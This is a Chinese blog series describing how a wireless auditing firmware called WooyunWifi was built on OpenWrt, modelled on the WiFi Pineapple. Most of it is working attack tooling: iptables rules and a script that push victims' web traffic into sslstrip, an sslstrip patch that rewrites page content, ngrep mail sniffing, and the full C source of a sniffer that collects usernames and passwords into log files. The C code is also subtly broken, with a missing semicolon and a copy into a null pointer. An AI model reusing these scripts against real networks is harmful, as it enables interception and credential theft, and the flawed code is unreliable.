第一章:失传的菠萝神话


0×00 前言:


WooyunWifi是一款基于Openwrt开发的无线审计测试固件,内置集成了众多著名无线/网络审计工具,并基于Ngrep+sslstrip开发了原创工具及BS架构管理界面。 本系列文章将详细讲解 无线安全、网络安全、嵌入式开发、前端Bootstrap界面设计、后台PHP程序设计、Shell Script编写、C语言有限自动机设计、Python网络编程、Linux高级命令、路由器常识概念 等相关内容

本章概括了WooyunWifi的技术架构以及功能实现理论。

0×01 菠萝神话:


由于wifi pineapple支持的路由器有限(事实上除了它自己销售的那一款,其他的路由器都没办法完全正常运行),因此网上出现了各种“移植”的教程,只为一睹神器真容,然而多数人最终失败,少数人在付出了巨大代价后才勉强成功。 Wifi pineapple自称开源,但事实上并非如此,其公开的源代码陈旧而混乱,也没有充足的文档以供分析。 菠萝神话已经失传,只剩国外垄断销售的黑客路由器与一群心怀不轨的购买者,技术研究的气氛 和 自由公开的精神 早已不见了踪影。 如果你真的好奇大菠萝到底是怎样实现的,如果你真的想看到确凿的技术细节,那么跟我来体验一把求真求实、自由共享的乌云白帽“安全实践”吧 注:根据有关法律法规,我们正在仔细评估并设计该固件的”安全使用”限制,尽管遵守GPL协议,在”安全使用”评估设计完成之前不会公开源代码,也不会向公众发布固件。

0×02 架构设计:


先展示一下WooyunWifi的架构图(Wooyun Wifi简称Woofi):

enter image description here

1、 PHP+Bootstrap的组合大家已经在乌云靶场项目中见过了,不过由于路由器环境限制和开源工具数据存储特性,经过考虑不使用Mysql数据库存储数据,直接使用文本方式保存数据内容。

2、 数据处理则考虑到路由器性能问题(大量实时数据包处理)采用C语言自动机实现

3、 使用Shell编程简化了一些控制配置,fate0修复了一个sslstrip的官方bug

简而言之,工作流程是这样的:用户登录192.168.16.2,看到uhttpd上的index首页,然后后台PHP处理用户的操作,调用了一些辅助性Shell script,然后比如控制把ngrep抓到的数据实时交给WoofiTools中的mailsniff做数据处理,然后结果以文本形式保存。PHP把文本保存的数据读取处理,结合uhttpd返回给用户页面。

如果接下来各种程序设计我都是一句话带过然后疯狂贴代码,那么这篇文章也和那些炫耀贴毫无区别了,并无冒犯之意,我也从很多“一句话轻描淡写”博客中学习了很多知识,只不过由于文章细节不清,BUG和失败的次数令我觉得难以忍受……所以,接下来我不仅要告诉大家我是怎样实现的程序,而且要告诉大家我为什么要这样写程序。

0×03 实现方案的演变:


在我还没有开始设计之前,我考虑过几种实现方案

1、 基于大菠萝二次开发,修改代码重新编译到其他路由器上。这个当时是我的首选方案,直到我发现大菠萝根本没有完全公开源代码,因此彻底不可行

2、 集成开源软件,做开源软件的WEB UI和各种前提配置。当时觉得这样完全不比大菠萝二次开发复杂,直到我发现很多开源软件年久失修BUG成群,能修复的尽量修复,修不好的只能重新开发了。

3、 集成各种必要的library,自己从头开发功能程序,这样很明显会有重复造轮子的浪费,不过由于发现有些开源软件无法正常使用,因此也是没办法的选择,当然我也会把那些能够使用的开源软件加以利用

于是,本想着改改大菠萝代码就可以了,结果变成了重新集成开源软件做 WEB UI 于是,本想着重新集成开源软件做 WEB UI就可以了,结果需要部分底层工具重新开发

发生这种情况一方面是由于预研不到位,以及SE对技术难度的预判有误,而导致项目规划和实际执行严重错位,这么巨大的技术难度偏差很可能导致项目流产。 那么这个项目是怎么来的呢?那就要从2014/7/30的下午说起……

社区里小伙伴发了个思想无比前卫的帖子:Anymous《设想wooyun智能路由改造openwrt[email protected],瞌睡龙大人把这个光荣的任务交给了我,我当时想了一下答道:“如果只是改改大菠萝源代码,不会很难” 事实证明,我在没有预研的情况下错判了项目技术难度,看来还有好多的东西要学~

感想:

越是看上去简单的事情,做起来就越复杂。事情即使再复杂,只要做完了就会变得简单

0×04 工具原理:


1、 嗅探使用ngrep+自己写的C语言自动机,以及sslstrip+自己写的C语言自动机

2、 MITM系列功能使用二次开发过的sslstrip来实现

3、 无线审计开源工具不用修改,直接做WEB UI就可以了(我又错了,karma把我击败了)

4、 Karma(未完成)通过建立AP并给任意ssid的请求进行响应和服务,达到劫持的目的

Karma原理详解:

首先Karma需要建立一个能够用来劫持用户的AP(比如说利用hostapd),然后对hostapd源码进行patch,使之可以无视请求中的ssid提供服务

enter image description here

(默认情况下,若ssid不一致,hostapd会报告异常,因此为了实现karma功能需要hostapd去除ssid检查)

部分重要patch如下:

enter image description here

即如果karma_beacon_respond选项开启则无视ssid的检查,补丁原作者在截图中有显示,我只是把他的针对hostapd 2.0补丁重新做到了hostapd最新版20140603上而已

PS:制作补丁/使用补丁的方式请参见http://wiki.openwrt.org/doc/devel/patches

再PS:在refresh之后一定要记住把生成好的补丁复制出来备份,因为接下来的步骤会把补丁打进源码而删除原补丁文件!!!

而karma本身程序的运行逻辑是: 首先循环抓无线信号帧(使用了airtap),然后每次抓到信号帧都调用on_probe_request处理,在函数里面首先建立一个链表储存请求的station信息,之后发送响应信号帧

可惜我没有成功跑起karma主程序,因为airtap调用了libpcap却找不到对应的datalink decoder,暂时找不到解决方案

我曾经以为我熟悉这些工具的原理,直到开发过程中(以后文章详解)遇到各种问题,才发现要真正的熟悉原理,不仅要知道工具做了什么,而且要知道工具为什么这么做。

0×05 Luci的简要分析:


我们使用Openwrt自己的Luci进行常规功能的管理,因为Luci自己的功能其实是很强大的。我曾经一度想要在Luci之上开发我们的WooyunWifi WEB界面,但是由于cgi和lua脚本都比较陌生,所以为了敏捷开发,还是选择了PHP 请注意:部分Openwrt版本的Luci不支持网络中继功能(就是作为client连接一个Wifi然后再作为AP播出一个Wifi),我选择的最新barrier_breaker是有这个功能的 另外,Luci依赖uhttpd,因此正好PHP也放在uhttpd上了

对了,不要自己乱改/etc/config/wireless配置,因为Luci会出BUG

0×06 投影至乌云峰会irc上:


这个是临时功能,为了乌云峰会设计的,从各种sniff中posturl到服务端,然后fate0在瞌睡龙大人的weechat里做了个python插件,我只是post数据,没有实际参与,因此不知道相关细节。 展示出的代码中没有该功能

第二章:路由器的先天技能


0×00 前言:


本章概括了WooyunWifi基于Openwrt的源码编译及集成方式。

0×01 编译Openwrt:

我使用的是Ubuntu麒麟14.04:

首先要看官方文档,而不是胡乱百度 http://wiki.openwrt.org/doc/howto/easy.build

官方文档中的这一句

svn co -r 36088 svn://svn.openwrt.org/openwrt/branches/attitude_adjustment

是检出36088版的attitude_adjustment分支源码,最新版是trunk,新功能多,支持的芯片多,但是稳定的软件包少。为了支持极路由,我选择的是最新版barrier_breaker分支,不要忘记去掉-r 36088以检出最新版本的源码。

svn co svn://svn.openwrt.org/openwrt/branches/barrier_breaker

官方文档中的这一句:

./scripts/feeds update –a

可能会因为国内偶尔连不上googlecode而失败,如果你不需要那些在googlecode上的软件包,你可以无视失败信息进行

./scripts/feeds install -a

(因为会报告index问题,所以要加-a) 如果正好googlecode上放的是你需要的软件包,请自行寻找连接google的方式吧

然后

~/20140818/barrier_breaker$ make menuconfig

进行配置

enter image description here

第一项是目标芯片型号,不知道自己路由器芯片型号的Google去吧,第二项选项是NAND什么的设置视情况选择,第三项是你的路由器型号,我这里选择了极路由,只有在选对了芯片类型后才会可选,其它选项都比较易懂,如果用到再说

enter image description here

选择编译的软件包时,星号代表编译进固件,M代表编译安装包但不放进固件,内置某些软件包时会自动选中依赖项

Q:为什么选项里没有我要的软件包?

A:可能你没feeds update install,也可能是你svn检出的版本不对

然后就是保存

make V=s

有很多人喜欢 j4多线程编译,如果你是第一次编译,强烈建议你不要这样做,因为你一旦遇到错误输出的东西比较混乱,查日志很麻烦 然后就是遇到连接错误,重新make V=s,还是连接不上,那就和想办法上国外网站同一个道理,如果校验出错,删掉dl文件夹下的错误文件重新 make V=s,视报错针对性解决

如果编译完成,会在

bin/芯片型号/

下面出现编译好的固件 比如:openwrt-ar71xx-generic-hiwifi-hc6361-squashfs-sysupgrade.bin 这就是squashfs的极路由固件

再比如:openwrt-ar71xx-generic-wndr3800-squashfs-factory.img 这就是squashfs的netgear wndr3800 固件

刷机方法一般可用路由器后台界面上传固件刷机,也可根据说明书使用TFTP刷机,如果有经验也可以线刷

0×02 开源工具的评测:


1、 Ngrep:之所以不使用tcpdump是因为ngrep提供了更简便的数据处理和输出,运行时很稳定,用它开发了cookiesniff、passsniff、mailsniff等工具

2、 Dsniff:密码嗅探不理想,安装它是为了其中的urlsnarf等工具,相对而言还是自己开发的ngrep+各种sniff不丢包更稳定,话说Http的密码它根本嗅探不到啊,不知道是不是我配置的问题。

3、 SSlstrip:官方版本就存在着BUG,不能运行,多亏fate0挺身而出修复了这个BUG,于是我们的Mitm也可以基于sslstrip设计了

4、 Ettercap:由于Openwrt官方自带的版本过度古老,因此BUG很多(各种网上已知的bug),不适合做二次开发,因此只集成不做WEB UI。

5、 Karma:不能够正常使用,需要大量修改(暂未完成)

6、 Aircrack-ng:还没测试

7、 Reaver:还没测试

0×03 fate0修复sslstrip:


使用sslstrip的时候报错:

exceptions.AttributeError: ClientRequest instance has no attribute 'responseHeaders'

fate0通过对sslstrip源码的检查,发现了sslstrip集成的twisted版本过于古老,因此建议我更新twisted,但是我发现新版本的twisted容量太大,集成到路由器上不现实,因此Openwrt才会一直集成古老版本的twisted(而且发现它还是缩水的)。

于是只好求fate0改sslstrip代码,fate0调试之后发现了问题所在:

ServerConnection.py

elif (key.lower() == 'set-cookie'):
            #import pdb
            #pdb.set_trace()
            #self.client.responseHeaders.addRawHeader(key, value)
            self.client.setHeader("test_key", "test_value")
            #self.client.setHeader(key, value)
            self.client.cookies.append(value)
        else:
            self.client.setHeader(key, value)

由于#self.client.responseHeaders.addRawHeader(key, value)这一句没有responseHeaders,因此造成exception

那么,sslstrip这样设计的目的是什么呢?我们知道,set-cookie可能会有很多个,而self.client.setHeader(key, value)会毫不犹豫地覆盖掉之前的set-cookie,因此这段代码的目的是addRawHeader实现多个set-cookie header

因此,fate0用self.client.cookies.append(value)实现了这一功能,修复完毕

0×04 制作修复后的sslstrip软件包:


修改sslstrip的Makefile,改为从本地下载(我搭了个nginx),别忘改md5校验哦

enter image description here

然后把修复后的ServerConnection.py打进压缩包,放在自己nginx即可

0×05 制作自己的软件包:


请优先参阅官方文档

例:package/wooyun/wooyunwifi/Makefile

#
# Copyright (C) 2011-2012 OpenWrt.org
#
# This is free software, licensed under the GNU General Public License v2.
# See /LICENSE for more information.
#

include $(TOPDIR)/rules.mk

PKG_NAME:=wooyunwifi
PKG_RELEASE:=1

include $(INCLUDE_DIR)/package.mk

define Package/wooyunwifi
  SECTION:=wooyun
  CATEGORY:=wooyunwifi
  TITLE:=wooyunwifi
  MAINTAINER:=lxj616
endef

define Package/wooyunwifi/description
 Wooyun Wifi is a whitehat wifi auditing toolsuite based
 on Openwrt , Have fun testing security issues on your 
 own wifi network ,serves study purpose only, license GPL
                                    ------ [email protected]
endef

define Build/Prepare
    $(INSTALL_DIR) $(PKG_BUILD_DIR)
    把src里面的源文件复制到build地点(不然编译时找不到)
    $(INSTALL_DATA) ./src/cookiesniff.c $(PKG_BUILD_DIR)/
    $(INSTALL_DATA) ./src/passsniff.c $(PKG_BUILD_DIR)/
    $(INSTALL_DATA) ./src/mailsniff.c $(PKG_BUILD_DIR)/
    $(INSTALL_DATA) ./src/stripsslstrip.c $(PKG_BUILD_DIR)/
    把不需要编译的文件夹和文件也拷贝过去
    $(CP) ./WooyunWifi $(PKG_BUILD_DIR)/
    $(CP) ./index.html $(PKG_BUILD_DIR)/
    $(CP) ./conf $(PKG_BUILD_DIR)/
endef

define Build/Compile
    编译源文件,如果之前没复制这步就找不到,用的是交叉编译
    $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
        -o $(PKG_BUILD_DIR)/cookiesniff $(PKG_BUILD_DIR)/cookiesniff.c
    $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
        -o $(PKG_BUILD_DIR)/passsniff $(PKG_BUILD_DIR)/passsniff.c
    $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
        -o $(PKG_BUILD_DIR)/mailsniff $(PKG_BUILD_DIR)/mailsniff.c
    $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
        -o $(PKG_BUILD_DIR)/stripsslstrip $(PKG_BUILD_DIR)/stripsslstrip.c
endef

define Package/wooyunwifi/install
    新建文件夹准备复制
    $(INSTALL_DIR) $(1)/usr/bin
    $(INSTALL_DIR) $(1)/etc/wooyunwifi
    复制编译好的文件到可以运行的地方
    $(INSTALL_BIN) $(PKG_BUILD_DIR)/cookiesniff $(1)/usr/bin/
    $(INSTALL_BIN) $(PKG_BUILD_DIR)/passsniff $(1)/usr/bin/
    $(INSTALL_BIN) $(PKG_BUILD_DIR)/mailsniff $(1)/usr/bin/
    $(INSTALL_BIN) $(PKG_BUILD_DIR)/stripsslstrip $(1)/usr/bin/
    $(INSTALL_DIR) $(1)/www
    直接复制各种文件
    $(CP) $(PKG_BUILD_DIR)/WooyunWifi $(1)/www
    $(CP) $(PKG_BUILD_DIR)/index.html $(1)/www
    $(CP) $(PKG_BUILD_DIR)/conf/basepath.conf $(1)/etc/wooyunwifi
endef

$(eval $(call BuildPackage,wooyunwifi))

然后再make menuconfig就可以看到自己的软件包了,然后正常编译即可,如果报错注意修改软件包配置

第三章:路由器的漂亮界面


0×00 前言:


本章概括了WooyunWifi的WEB端功能实现。

0×01 PHP:


我曾经考虑,可不可以只用html+cgi实现所有的功能,但考虑到WEB管理的业务需求比较宽松,因此采用PHP敏捷开发更加快速。 Menuconfig时,额外选择language – PHP – php-mod-session用作登录控制,同理可集成其它所需插件 为了使uhttpd支持PHP,修改package/network/services/uhttpd/files/uhttpd.config 去掉list interpreter php 的注释符号,其它配置同理

enter image description here

以sslstrip插件的设计为例进行说明

enter image description here

/WooyunWifi/sslstrip.inc

$ison=shell_exec("ps|awk '{print $6}'|grep sslstrip");

在PHP中随时使用shell_execexec执行linux命令获取工具状态,并且判断显示开关的状态,之后就是常规的PHP程序设计了

不过在设计中出现了一个小问题,那就是一些命令比如说ngrep在运行时会挂在那里持续运行,这就导致PHP脚本无法继续运行,比较奇怪的是nohup &在php里面没有效果,只有先用PHP sh ***.sh,然后在shell 脚本中才会正常后台执行,因此:

sson.php

<script>
var xmlhttp;
xmlhttp=new XMLHttpRequest();
<?php
echo 'xmlhttp.open("GET","sslstripon.php",true)';
?>
xmlhttp.send();
var t=setTimeout("window.location.href=\"/WooyunWifi/index.php?action=sslstrip\";",1000);
</script>

先异步请求,然后等待1s跳转回去(解决后面500 bad gateway问题)

sslstripon.php

shell_exec("./test2.sh ".$basepath."&");

接到请求,运行shell脚本(还是会挂在这里不能继续执行)

Test2.sh

#!/bin/sh

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10000

echo "1" > ${1}/sslstrip.log
sslstrip -w ${1}/sslstrip.log -l 10000 &
tail -f ${1}/sslstrip.log|stripsslstrip &

kill $(ps|grep "php-cgi"|awk '{print $1}') &

结束掉php-cgi的进程,因为uhttpd是一个单线程服务器,因此php-cgi挂在那里就会导致服务器无响应,kill掉之后服务器才能响应其他请求。

所以流程是这样的:
1、 用户打开页面
2、 PHP执行shell命令,判断sslstrip是否正在运行,如果不是,返回“启动”按钮
3、 用户点击启动按钮
4、 到sson.php中异步请求sslstripon.php,然后……
5、 sslstripon.php调用test2.sh,后台运行sslstrip,然后test2.sh kill掉php-cgi,于是sslstripon.php执行完毕(返回500 bad gateway),但是用户在sson.php中等待1s后返回主界面了,所以看不到500错误

绕了个圈解决了单线程服务器的阻塞问题,不过这样看来软件架构怪怪的,先实现功能再说,以后再改进吧

大家可能会有这样的疑问: 你在PHP中运行shell命令时难道不是www-data权限吗? 如何运行tcpdump之类的高权限程序呢?

其实我之前也特地设计了用sudoer解决权限问题的方案,只不过后来我发现(个人猜测),Openwrt这类的嵌入式系统权限和用户组并不严格,直接就是root运行一切程序了

0×02 Bootstrap前端设计:


在线画了个框架,然后放在路由器上一边vi一边刷新浏览器

enter image description here

0×03 MITM功能设计:


因为这个功能主要是在应用层实现的,而且和WEB相关协议联系比较密切,所以放在WEB层来探讨这个问题。 首先我们来分析一下解决这个功能的可选方案:

1、 在传输层使用transparent proxy做MITM数据包截取/修改
2、 在应用层使用HTTP双向通信模型做MITM内容截取/修改

刚开始的思路是做一个transparent proxy,但是发现由于数据包分段以及gzip格式传输,导致传输层做HTTP内容注入比较复杂,而且其他协议的数据包又不具备通用性的MITM介入方式,因此综合看来还是做应用层HTTP协议的双向通信模型比较简便。

而我们知道,SSlstrip就是基于这种应用层双向通信模型构建的,我们可以借用SSlstrip的代码进行改造

ServerConnection.py

    def replaceSecureLinks(self, data):
        iterator = re.finditer(ServerConnection.urlExpression, data)

        for match in iterator:
            url = match.group()

            logging.debug("Found secure reference: " + url)

            url = url.replace('https://', 'http://', 1)
            url = url.replace('&amp;', '&')
            self.urlMonitor.addSecureLink(self.client.getClientIP(), url)

        data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)

        #在这里对data进行处理,即可完成MITM介入
        #这个函数本来的功能是替换https为http普通链接
        #在此之前已经完成了对gzip的解压,以及建立了双向连接

        replaceconfig=os.popen('cat /etc/wooyunwifi/replace.conf').readlines()
        data = data.replace(replaceconfig[0].strip(),replaceconfig[1].strip())

        #其实就两句话,看上去很简单,哈

        return re.sub(ServerConnection.urlType, 'http://', data)

再做个WEB页面 至此,MITM设计完毕

感想:写一句代码只需要一分钟,但知道这行代码写在哪需要一天

enter image description here

既然WEB控制端设计好了,开始做model层的数据处理工具吧!

第四章:路由器的数据处理


0×00 前言:


本章概括了WooyunWifi的model层数据处理功能实现。

0×01 交叉编译:


我们在本地编译一个Linux程序:

gcc -o mailsniff mailsniff.c
./mailsniff.c 

在本地可以正常运行

而我们要编译一个在路由器上可以运行的程序,又不能给路由器安装gcc,那怎么办呢?

我们采取交叉编译在本地编译路由器中的程序:

./barrier_breaker/staging_dir/toolchain-mips_34kc_gcc-4.8-linaro_uClibc-0.9.33.2/bin/mips-openwrt-linux-gcc -o mailsniff mailsniff.c

这里的交叉编译工具链跟你的路由器芯片型号有关,需要你先选择toolchains编译make V=s后才会出现,当然你也可以从downloads.openwrt.org直接下载对应芯片型号的toolchains

如何制作软件包集成进固件在第二章介绍,此处不再赘述

0×02 数据交互:


实例说明:

echo "1" > ${1}/sslstrip.log

将echo的结果写入文件(basepath从外部PHP调用传入)

ngrep -l -q -W byline -d $1 port 110 or 143 or 25|mailsniff

将ngrep的stdout接到mailsniff的stdin上(device从外部PHP调用传入)

注意:这里的ngrep -l 选项是为了使ngrep的stdout以行为单位缓冲,避免由于数据缓冲导致的数据不及时同步问题

而sslstrip本身是输出一个log文件

sslstrip -w ${1}/sslstrip.log -l 10000 & 
tail -f ${1}/sslstrip.log|stripsslstrip &

使用tail就可以实现实时输出

0×03 自动机设计:


以passsniff为例介绍C语言自动机设计:

/*
    code by [email protected]
*/
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

//Openwrt默认权限可以读写etc下文件
void get_basepath(char *basepath)
{
    FILE *fp1;
    fp1 = fopen("/etc/wooyunwifi/basepath.conf","r");
    fscanf(fp1,"%s",basepath);  
    fclose(fp1);
}

//解析URL中用户名和密码
void strip_pass(char *basepath,char *buffer,char *host)
{
    int i;
    int flag=0;
    char *user;
    char *pass;
    user=strstr(buffer,"user");
    pass=strstr(buffer,"pass");

    if(user&&pass)
    {
        user=strstr(user,"=")+1;
        pass=strstr(pass,"=")+1;

        for(i=0;user[i]!='\0'&&flag==0;i++)
        {
            if(user[i]=='&')
            {
                user[i]='\0';
                flag=1;
            }
        }
        flag=0;
        for(i=0;pass[i]!='\0'&&flag==0;i++)
        {
            if(pass[i]=='&')
            {
                pass[i]='\0';
                flag=1;
            }
        }
    }
    else 
    {
        strcpy(user,"unknown");     strcpy(pass,"unknown");     }   update_log(basepath,host,user,pass); } 
//写文本文件保存信息
void writeLog(char *path,char *user,char *pass)
{
    FILE *fp = fopen(path,"a");
    fputs("\r\n",fp);
    fputs(user,fp);
    fputs("\r\n",fp)
    fputs(pass,fp);
    fputs("\r\n",fp);
    fflush(stdout);
    fclose(fp);
}

//写文件,以host命名,因为是直接读的Host: ***.com,因此去掉前面的前缀
void update_log(char *basepath,char *host,char *user,char *pass)
{
    char tmppath[1629];
    strcpy(tmppath,basepath);
    strcat(tmppath,"/passdump/");
    writeLog(strcat(tmppath,host+6),user,pass);
}


int main()
{
    char basepath2[128];
    char basepath[128];
    char buffer[1629]="0";
    char pass[1629]="0";
    char pass2[1629]="0";
    char host[1629]="0";
    char host2[1629]="0";
    int flag=0;

    char mkdir[128]="mkdir "; 

    get_basepath(basepath);

    strcat(mkdir,basepath);
    strcat(mkdir,"/passdump");

    //先保证存在保存的文件夹
    system(mkdir);

    while(1)
    {
        fgets(buffer,1628,stdin);
        //如果是空行,代表一个数据包结束 或者 紧接着POST内容
        if(strcmp(buffer,"\n")==0)
        {
            //已经出现了记录?写文件然后清空当前密码记录
            if((strcmp(host,"0")!=0)&&(strcmp(pass,"0")!=0))
            {
                //干掉referer,免得一个密码记录好多次
                if(!strstr(pass,"Referer:"))
                {
                    strip_pass(basepath,pass,host);
                    printf("\n\n");
                }
                strcpy(pass,"0");
            }
        }
        else if(strstr(buffer,"Host:"))
        {
            //去掉0x0a和0x0d
            buffer[strlen(buffer)-2]='\0';
            strcpy(host,buffer);
        }
        else if(strstr(buffer,"user")&&strstr(buffer,"pass"))
        {
            //去掉0x0a和0x0d
            buffer[strlen(buffer)-2]='\0';
            strcpy(pass,buffer);
        }
        //buffer[strlen(buffer)-2]='\0';
    }
    return 0;
}

概括起来我们的自动机做了以下事情:

1、 Ngrep嗅探PHP指定的device数据包,筛选80端口HTTP请求,然后把stdout转接到我们的自动机stdin上
2、 C语言自动机不断按行读取stdin中的输入,不停检测密码信息以及Host信息,但数据包结束后,判断是否截获密码信息,如果是,追加写入文本记录文件
3、 自动机本身不会停止工作,必须依靠PHP+Shellscript来外部kill掉

0×04 为什么不用python:


字符处理,还是python方便,但是我们真的很需要“效率”,无论是从内存占用还是数据包延迟来说,C语言仍然占据了不可替代的优势(其实也没那么悬殊,只不过自动机程序比较简单,因此对C熟练的话不会很吃力) 还有一个重要的原因是:当初我以为会涉及到kernel的数据包修改,后来写完自动机才发现原来想多了,所以C语言反倒只用来写了几个自动机,唉……

0×05 使用iptables重定向流量

例:

iptables -t nat -A PREROUTING -s 192.168.16.249 -p tcp --dport 80 -j DNAT --to-destination 192.168.16.134:8029
iptables -t nat -A POSTROUTING -p tcp -d 192.168.16.134 --dport 80 -j MASQUERADE
iptables -t nat -A POSTROUTING -p tcp -d 192.168.16.134 --dport 8029 -j MASQUERADE

由此一方面可以将流量重定向到自己的proxy上(是transparrent proxy),也可以直接转发到其他ip(如burpsuite)

至此,WooyunWifi设计完成,大家可能会觉得“哇,还是很简单的嘛”,如果大家真的打算试一下全过程,请务必要看《WooyunWifi 第五章:十万个变砖方法》